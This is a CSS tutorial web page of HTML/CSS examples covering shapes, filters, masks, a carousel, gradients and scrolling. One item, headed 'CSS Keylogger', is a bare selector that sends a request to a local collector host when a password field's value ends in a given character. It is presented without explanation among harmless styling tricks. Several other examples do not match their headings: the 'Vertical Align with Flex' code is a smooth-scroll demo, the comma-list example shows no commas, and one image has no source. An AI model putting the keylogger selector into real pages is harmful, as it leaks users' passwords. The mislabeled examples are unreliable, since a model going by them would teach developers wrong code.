1. Home
Software key Topics

A Comprehensive Guide on Software Key Tutorials

Elevate your software skills with our comprehensive tutorials covering concepts from basic to advanced techniques. Dive in and become a software pro!

  • 220 Lessons
  • 37 Hours
right-top-arrow

Tutorial Playlist

218 Lessons
57. 

CSS Tricks

Updated on 19/07/20241,923 Views
Content

Introduction

CSS (Cascading Style Sheets) helps developers control a website's visual appearance. SS is a basic technology of the World Wide Web, HTML, and JavaScript. By adjusting the font, color, size, spacing, and other visual characteristics of the text, you may design and layout web pages. This tutorial will explore various CSS tricks and techniques you can apply to your projects.

Overview

This tutorial will discuss various CSS tricks, which will become excellent tools for targeting HTML components and applying styles. This guide will cover examples of the various things you can do with CSS to enhance the visual appearance of web pages.

Essential CSS Tricks and Tips

Vertical Align with Flex

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html {
        scroll-behavior: smooth;
      }

      #section1 {
        height: 300px;
        background-color: lightpink;
      }

      #section2 {
        height: 300px;
        background-color: magenta;
      }
    </style>
  </head>
  <body>
    <h1>Smooth Scroll in upGradTutorial!</h1>

    <div class="main" id="section1">
      <h2>Section 1</h2>
      <p>Click on the "smooth" scrolling effect link.</p>
      <a href="#section2">Click Me to Section 2 Below</a>
    </div>

    <div class="main" id="section2">
      <h2>Section 2</h2>
      <a href="#section1">Click Me to Section 1 Above</a>
    </div>
  </body>
</html>

Blend Modes

Code:

<!DOCTYPE html>
<html>
  <head>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
      .container1,
      .container2 {
        background-color: lightcoral;
        padding: 15px;
      }

      .container1 img {
        mix-blend-mode: darken;
        float: right;
      }
    </style>
  </head>
  <body>
    <h2>The mix-blend-mode Property in upGradTutorial!</h2>

    <div class="container1">
      <img src="https://th.bing.com/th/id/R.22465d2fdbc50627f1b136a8c7bc4f71?rik=vS3QIGIHeRoyTg&riu=http%3a%2f%2fi.
      huffpost.com%2fgen%2f1386495%2fimages%2fo-DRAGONFRUIT-facebook.jpg&ehk=zyQxy6Bf49bfLb8bnqMjTrWOAgMMz4gJwIn0PMZ2lew%3d&risl=
      &pid=ImgRaw&r=0" width="100" height="100" />
    </div>
    <div class="container2">
      <img src="https://th.bing.com/th/id/R.22465d2fdbc50627f1b136a8c7bc4f71?rik=vS3QIGIHeRoyTg&riu=http%3a%2f%2fi.huffpost.com%2
      fgen%2f1386495%2fimages%2fo-DRAGONFRUIT-facebook.jpg&ehk=zyQxy6Bf49bfLb8bnqMjTrWOAgMMz4gJwIn0PMZ2lew%3d&risl=&pid=ImgRaw&r=0"
      width="100" height="100" />
    </div>
  </body>
</html>

CSS Shapes

Code:

<!DOCTYPE html>
<html>
<head>
<style>
.square {
  height: 60px;
  width: 60px;
  background-color:coral;
}
.circle {
  height: 60px;
  width: 60px;
  background-color: green;
  border-radius: 50%;
}
.oval {
  height: 60px;
  width: 120px;
  background-color: blue;
  border-radius: 50%;
}
</style>
</head>
<body>
<h2>Square CSS in upGradTutorial!</h2>
<div class="square"></div>
<h2>Circle CSS in upGradTutorial!</h2>
<div class="circle"></div>
<h2>Oval CSS in upGradTutorial!</h2>
<div class="oval"></div>
</body>
</html>

Truncate Strings in CSS

Code:

<!DOCTYPE html>
<html>
<head>
<style> 
div.a {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: clip; 
  border: 1px solid red;
}
div.b {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: ellipsis; 
  border: 1px solid red;
}
div.c {
  white-space: nowrap; 
  width: 60px; 
  overflow: hidden;
  text-overflow: "----"; 
  border: 1px solid red;
}
</style>
</head>
<body>
<h1>The text-overflow Property in upGradTutorial</h1>
<p>The two divs holds a text that will not fit in the box.</p>
<h2>text-overflow: clip (default):</h2>
<div class="a">upGradTutorial!</div>
<h2>text-overflow: ellipsis:</h2>
<div class="b">upGradTutorial!</div>
<h2>text-overflow: "----" (user defined string):</h2>
<div class="c">upGradTutorial!</div>
</body>
</html>

Clip Path

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      img {
        background-color: coral;
        clip-path: circle(40%);
      }
    </style>
  </head>
  <body>
    <h2>The clip-path property in upGradTutorial!</h2>
    <img width="100" height="140" />
  </body>
</html>

Full Height and Full Width

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html,
      body {
        height: 50%;
        margin: 0;
      }

      .full-height {
        height: 50%;
        background: magenta;
      }
    </style>
  </head>
  <body>
    <div class="full-height">
      upGradTutorial!
    </div>
  </body>
</html>

Image Filters

Code:

<!DOCTYPE html>
<html>
<head>
<style>
img {
  width: 23%;
  height: auto;
  float: left; }
.blur {filter: blur(4px);}
.brightness {filter: brightness(0.30);}
.contrast {filter: contrast(180%);}
.grayscale {filter: grayscale(100%);}
.huerotate {filter: hue-rotate(180deg);}
.invert {filter: invert(100%);}
.opacity {filter: opacity(50%);}
.saturate {filter: saturate(7);}
.sepia {filter: sepia(100%);}
.shadow {filter: drop-shadow(8px 8px 10px green);}
</style>
</head>
<body>
<h1>The filter Property in upGradTutorial!</h1>
<img src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="blur" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="brightness" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="contrast" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="grayscale" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="huerotate" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="invert" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="opacity" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="saturate" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="sepia" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
<img class="shadow" src="https://3.bp.blogspot.com/-9YuXbPy4G7A/UyMssJOiRwI/AAAAAAAAAaA
/KFkNWoiP7mE/s1600/Pineapple+-+blooming.jpg" alt="Pineapple" width="300" height="300">
</body>
</html>

Element Rotation

Code:

<!DOCTYPE html>
<html>
<head>
<style>
div {
  height: 60px;
  width: 60px;
  background-color:magenta;
  rotate: 30deg;
}
</style>
</head>
<body>

<h3>Rotate property in upGradTutorial</h3>
<div>upGradTutorial!</div>
<br>
<p>Rotates div element 30 degrees clockwise around z-axis.</p>

</body>
</html>

Mask

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      .mask1 {
        -webkit-mask-image: linear-gradient(black, transparent);
        mask-image: linear-gradient(black, transparent);
      }
    </style>
  </head>
  <body>
    <h3>A linear gradient as a mask layer in upGradTutorial:</h3>
    <div class="mask1">
      <img src="https://images.edexlive.com/uploads/user/imagelibrary/2019/8/15/original/upgrad.jpg"
      width="300" height="200" />
    </div>

    <h3>Original image in upGradTutorial:</h3>
    <img src="https://images.edexlive.com/uploads/user/imagelibrary/2019/8/15/original/upgrad.jpg" 
    width="300" height="200" />
  </body>
</html>

Zoom on Hover

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      * {
        box-sizing: border-box;
      }

      .zoom {
        padding: 40px;
        background-color:magenta;
        transition: transform 0.3s;
        width: 300px;
        height: 100px;
        margin: 0 auto;
      }

      .zoom:hover {
        -ms-transform: scale(1.5); 
        -webkit-transform: scale(1.5);
        transform: scale(1.5);
      }
    </style>
  </head>
  <body>
    <h1>Zoom on Hover in upGradTutorial!</h1>
    <p>Hover over the div element.</p>

    <div class="zoom"></div>
  </body>
</html>

Frosted Glass CSS

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      .box {
        background-color: rgba(254, 254, 254, 0.3);
        border-radius: 4px;
        font-family: sans-serif;
        text-align: center;
        line-height: 1;
        -webkit-backdrop-filter: blur(11px);
        backdrop-filter: blur(11px);
        max-width: 60%;
        max-height: 60%;
        padding: 30px 40px;
      }

      html,
      body {
        height: 50%;
        width: 50%;
      }

      body {
        background-image: url(https://th.bing.com/th/id/OIP.J4HwTcWQs2KzhNifxSVXNAHaE7?pid=ImgDet&rs=1),
        linear-gradient(rgb(218, 156, 156), rgb(0, 0, 182));
        background-position: center center;
        background-repeat: no-repeat;
        background-size: cover;
      }

      .container {
        align-items: center;
        display: flex;
        justify-content: center;
        height: 50%;
        width: 50%;
      }
    </style>
  </head>
  <body>
    <div class="container">
      <div class="box">
        <p>backdrop-filter: blur(11px)</p>
      </div>
    </div>
  </body>
</html>

CSS Only Carousel

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CSS Only Carousel</title>
<style>
  .carousel-container {
    display: flex;
    overflow: hidden;
    width: 300px; /* Adjust the width as needed */
    margin: 0 auto;
  }

  .carousel-track {
    display: flex;
    transition: transform 0.3s ease-in-out;
  }

  .carousel-item {
    flex: 0 0 100%;
    max-width: 100%;
    padding: 20px;
    box-sizing: border-box;
    text-align: center;
    background-color: #f0f0f0;
  }

  /* Navigation buttons */
  .carousel-nav {
    display: flex;
    justify-content: center;
    margin-top: 10px;
  }

  .carousel-nav button {
    background: none;
    border: none;
    cursor: pointer;
    font-size: 24px;
    padding: 0 10px;
  }
</style>
</head>
<body>
  <div class="carousel-container">
    <div class="carousel-track">
      <div class="carousel-item">Slide 1</div>
      <div class="carousel-item">Slide 2</div>
      <div class="carousel-item">Slide 3</div>
      <!-- Add more items as needed -->
    </div>
  </div>

  <div class="carousel-nav">
    <button onclick="prevSlide()">&#8249;</button>
    <button onclick="nextSlide()">&#8250;</button>
  </div>

  <script>
    const track = document.querySelector('.carousel-track');
    const items = document.querySelectorAll('.carousel-item');
    let currentIndex = 0;

    function prevSlide() {
      currentIndex = (currentIndex - 1 + items.length) % items.length;
      updateCarousel();
    }

    function nextSlide() {
      currentIndex = (currentIndex + 1) % items.length;
      updateCarousel();
    }

    function updateCarousel() {
      const itemWidth = items[currentIndex].clientWidth;
      track.style.transform = `translateX(-${currentIndex * itemWidth}px)`;
    }
  </script>
</body>
</html>

Curve Text Around a Floating Image

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Curved Text Around Image</title>
<style>
  .container {
    width: 80%;
    margin: 50px auto;
    display: flex;
  }

  .image {
    width: 200px;
    height: 200px;
    float: left;
    margin-right: 20px;
    shape-outside: circle(50%);
    clip-path: circle(50%);
  }

  .text {
    flex: 1;
    font-size: 16px;
    line-height: 1.5;
  }
</style>
</head>
<body>
  <div class="container">
    <img src="https://cdn-www.enfocus.com/sites/combell-www.enfocus.com/files/media/blog/2017-08-09-Lorem-Ipsum/lorem-ipsum.jpg" alt="Floating Image" class="image">
    <div class="text">
      <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Curabitur nec odio nec
      justo dignissim efficitur. Suspendisse sit amet urna sed turpis congue finibus vel eget 
      mauris. Nulla facilisi.</p>
      <p>Mauris interdum diam in augue gravida, et varius urna congue. Sed et justo consequat, 
      volutpat arcu non, euismod leo. Pellentesque habitant morbi tristique senectus et netus et 
      malesuada fames ac turpis egestas.</p>
    </div>
  </div>
</body>
</html>

Gradients and Gradient Text

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Gradients and Gradient Text</title>
<style>
  .linear-gradient-bg {
    width: 100%;
    height: 300px;
    background: linear-gradient(to right, #ff6b6b, #355c7d);
  }
  .radial-gradient-bg {
    width: 100%;
    height: 300px;
    background: radial-gradient(circle, #66a6ff, #eeccff);
  }
  .gradient-text {
    font-size: 36px;
    background: -webkit-linear-gradient(#ff6b6b, #355c7d);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
  }
</style>
</head>
<body>
  <div class="linear-gradient-bg"></div>
  <div class="radial-gradient-bg"></div>
  <h1 class="gradient-text">Gradient Text Example</h1>
</body>
</html>

Style Broken Images

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      img {
        font-family: "Helvetica";
        font-weight: 200;
        line-height: 2;
        text-align: center;
        width: 50%;
        height: auto;
        display: block;
        position: relative;
      }

      img:before {
        content: "We're sorry, the image below is broken :(";
        display: block;
        margin-bottom: 10px;
      }

      img:after {
        content: "(url: " attr(src) ")";
        display: block;
        font-size: 13px;
      }
    </style>
  </head>
  <body>
    <h3>Original image:</h3>
    <img src="https://www.expressandstar.com/resizer/mfZ-TegH1FH69QELJzobO5Aoa98=/1200x0/cloudfront-us-east-1.images.arcpublishing.com/mna/C72QHRN7RJDIRAN7TZJN6WMWJA.jpg" alt="Cinque Terre" width="300" height="200" />
  </body>
</html>

Smart Quotes in HTML/CSS

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      q {
        quotes: "---" "”";
        font-size: 3rem;
        color:yellow;
      }
    </style>
  </head>
  <body>
    <q>upGradTutorial!</q>
  </body>
</html>

Comma-Separated Lists

Code:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Comma-Separated Lists with CSS</title>
<style>
  .tag-list {
    display: flex;
    flex-wrap: wrap;
    gap: 8px;
  }

  .tag {
    background-color: #f0f0f0;
    padding: 4px 8px;
    border-radius: 4px;
  }
</style>
</head>
<body>
  <div class="tag-list">
    <span class="tag">Tag 1</span>
    <span class="tag">Tag 2</span>
    <span class="tag">Tag 3</span>
    <span class="tag">Tag 4</span>
    <span class="tag">Tag 5</span>
  </div>
</body>
</html>

CSS Keylogger

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

CSS Smooth Scrolling

Code:

<!DOCTYPE html>
<html>
  <head>
    <style>
      html {
        scroll-behavior: smooth;
      }

      #section1 {
        height: 500px;
        background-color: skyblue;
      }

      #section2 {
        height: 500px;
        background-color: red;
      }
    </style>
  </head>
  <body>
    <h1>Smooth Scroll in upGradTutorial!</h1>

    <div class="main" id="section1">
      <h2>Section 1</h2>
      <p>Click on the "smooth" scrolling effect link.</p>
      <a href="#section2">Click Me to Section 2 Below</a>
    </div>

    <div class="main" id="section2">
      <h2>Section 2</h2>
      <a href="#section1">Click Me to Section 1 Above</a>
    </div>
  </body>
</html>

Conclusion

CSS is an essential concept for every modern web developer or designer. Staying up to date with the latest CSS features is essential in the ever-changing web development realm. This blog addressed a treasure trove of CSS tricks and approaches that may boost a web designer's competence to new heights, ranging from basic principles to advanced strategies.

FAQs

  1. What is Flexbox?

One of the CSS tricks, Flexbox, is a layout method that allows you to arrange elements in different ways. It may be used to create intricate layouts quickly and is designed to work with a single row or column of items.

  1. What is CSS-Tricks animation?

CSS-Tricks animation refers to the execution of dynamic and aesthetically appealing effects utilizing CSS transitions, animations, and keyframes to enhance website user experience.

  1. What are some benefits of using advanced CSS Tricks?

Creating more complex and dynamic layouts, reducing the amount of code needed to achieve a specific effect, and making your website more accessible to users with disabilities are some benefits of advanced CSS tricks.

  1. What is CSS Grid?

CSS-tricks grid is a CSS layout utility that makes it simple to design complicated grid-based layouts. It may be used to construct responsive layouts that adjust to numerous screen sizes and is supposed to operate with both rows and columns.

Pavan

PAVAN VADAPALLI

Director of Engineering

Director of Engineering @ upGrad. Motivated to leverage technology to solve problems. Seasoned leader for startups and fast moving orgs. Working …Read More

Popular

Get Free Career Counselling
form image
+91
*
By clicking, I accept theT&Cand
Privacy Policy
image
Join 10M+ Learners & Transform Your Career
Learn on a personalised AI-powered platform that offers best-in-class content, live sessions & mentorship from leading industry experts.
right-top-arrowleft-top-arrow

upGrad Learner Support

Talk to our experts. We’re available 24/7.

text

Indian Nationals

1800 210 2020

text

Foreign Nationals

+918045604032

Disclaimer

upGrad does not grant credit; credits are granted, accepted or transferred at the sole discretion of the relevant educational institution offering the diploma or degree. We advise you to enquire further regarding the suitability of this program for your academic, professional requirements and job prospects before enr...